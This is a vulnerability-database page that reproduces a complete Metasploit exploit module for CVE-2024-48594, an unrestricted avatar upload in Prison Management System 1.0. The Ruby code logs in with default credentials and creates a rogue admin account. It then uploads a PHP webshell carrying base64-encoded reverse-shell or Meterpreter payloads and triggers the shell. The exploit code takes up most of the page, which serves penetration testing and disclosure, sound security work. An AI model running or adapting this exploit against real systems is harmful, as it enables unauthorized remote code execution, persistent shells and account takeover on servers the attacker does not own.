Lucene search
K

Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload

🗓️ 08 Jan 2026 18:56:39Reported by Alexandru Ionut RaducuType 
metasploit
 metasploit
🔗 www.rapid7.com👁 306 Views

Authenticated RCE in Prison Management System 1.0 via unrestricted avatar upload leading to PHP webshell.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-48594
28 Oct 202420:44
circl
CNNVD
Prison Management System 安全漏洞
28 Oct 202400:00
cnnvd
CVE
CVE-2024-48594
28 Oct 202400:00
cve
Cvelist
CVE-2024-48594
28 Oct 202400:00
cvelist
NVD
CVE-2024-48594
28 Oct 202421:15
nvd
OSV
CVE-2024-48594
28 Oct 202421:15
osv
Packet Storm
📄 Prison Management System 1.0 Shell Upload
8 Jan 202600:00
packetstorm
Positive Technologies
PT-2024-33158 · Unknown · Prison Management System
28 Oct 202400:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 01/16/2026
16 Jan 202618:49
rapid7blog
RedhatCVE
CVE-2024-48594
23 May 202507:30
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload',
        'Description' => %q{
          This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0.
          An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload
          functionality in the add-admin.php endpoint. The application fails to properly validate the
          uploaded file type, allowing an attacker to upload a PHP webshell.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alexandru Ionut Raducu',
        ],
        'References' => [
          ['CVE', '2024-48594'],
          ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html']
        ],
        'Platform' => ['php', 'unix', 'linux'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
              'Type' => :php
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2024-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']),
      OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
      OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php')
    )

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200

    if res.body.include?('Prison Management System') || res.body.include?('txtusername')
      return CheckCode::Detected('Prison Management System login page detected')
    end

    CheckCode::Safe('Target does not appear to be Prison Management System')
  end

  def login
    print_status("Attempting to authenticate as #{datastore['USERNAME']}...")

    # First GET request to obtain session cookie
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    vprint_status("Retrieved session cookie: #{res.get_cookies}")

    # POST login credentials
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'txtusername' => datastore['USERNAME'],
        'txtpassword' => datastore['PASSWORD'],
        'btnlogin' => ''
      }
    )

    fail_with(Failure::Unreachable, 'Connection failed during login') unless res

    fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302

    print_good('Successfully authenticated!')
  end

  def upload_webshell
    @webshell_name = Rex::Text.rand_text_alpha(8) + '.php'

    case target['Type']
    when :php
      php_payload = payload.encoded
    when :unix_cmd
      php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
    when :linux_dropper
      php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
    end

    # Generate random form data for the new admin user
    random_username = Rex::Text.rand_text_alpha(8)
    random_fullname = Rex::Text.rand_text_alpha(8)
    random_password = Rex::Text.rand_text_alpha(8)
    random_phone = Rex::Text.rand_text_numeric(10)

    print_status("Uploading webshell as #{@webshell_name}...")

    # Build multipart form data
    form_data = Rex::MIME::Message.new
    form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"')
    form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"')
    form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"')
    form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"')
    form_data.add_part('', nil, nil, 'form-data; name="btncreate"')
    form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Connection failed during upload') unless res
    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully')

    @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name)
    register_file_for_cleanup(@webshell_name)

    print_good("Webshell uploaded to #{@webshell_path}")
  end

  def execute_webshell
    print_status('Triggering payload execution...')

    send_request_cgi({
      'method' => 'GET',
      'uri' => @webshell_path,
      'keep_cookies' => true
    }, 5)
  end

  def exploit
    login
    upload_webshell
    execute_webshell
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation